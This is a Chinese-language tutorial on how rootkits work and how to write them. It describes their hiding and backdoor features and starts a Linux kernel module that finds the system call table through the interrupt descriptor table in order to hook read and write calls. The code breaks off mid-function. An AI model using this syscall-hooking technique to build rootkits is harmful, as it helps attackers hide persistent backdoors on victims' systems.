rootkit原理与编写教程
rootkit原理与编写教程
- rootkit原理
- rootkit介绍
- windows下rootkit编写
- windows编程技术
- Linux下rootkit编写
rootkit原理
rootkit介绍
Rootkit的历史已经很悠久了。存在于windows,unix,linux等操作系统中。Root在英语中是根,扎根的意思,kit是包的意思。
rootkit我们可以把它理解成一个利用很多技术来潜伏在你系统中的一个后门,并且包含了一个功能比较多的程序包,例如有清除日志,添加用户,cmdshell,添加删除启动服务等功能。
当然它的设计者也要用一些技术来隐藏自己,确保不被发现。隐藏包括隐藏进程,隐藏文件,端口,或句柄,注册表的项,键值等等。
总之,写rootkit的人是利用很多办法不被发现。
windows下rootkit编写
windows编程技术
想要在windows下写rootkit,不免要调用许多windwos的API函数,为此需要对windows编程技术有一定的了解。
看了下有这本电子书,《WINDOWS黑客编程技术详解》。可以了解一下
Linux下rootkit编写
以一个文件过滤驱动为例
filter.c:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <asm/unistd.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/list.h>
#include <asm/uaccess.h>unsigned long *sys_call_table = NULL; //系统调用表
asmlinkage ssize_t (*sys_read)(int, void *, size_t); //asmlinkage定义函数表示不从寄存器传递参数
asmlinkage ssize_t (*sys_write)(int, void *, size_t);
static char *filename = "test.c";
//S_IRUGO 内核文件权限值 charp指字符指针
module_param(filename, charp, S_IRUGO); //module_param定义模块参数用法:name,type,perm
static char *keyword = "key";
module_param(keyword, charp, S_IRUGO);
int orig_cr0;
#define STRLEN 1024
char tran_buf[STRLEN];
int len = 0;struct _idt //中断描述表
{unsigned short offset_low, segment_sel;unsigned char reserved, flags;unsigned short offset_high;
};unsigned long *getscTable()
{unsigned char idtr[6], *shell, *sort;struct _idt *idt;unsigned long system_call, sct;unsigned short offset_low, offset_high;char *p;int i;/* get the interrupt descriptor table *///__asm__调用内联汇编程序,意为GCC支持的在C/C++代码中嵌入汇编的方式__asm__("sidt %0"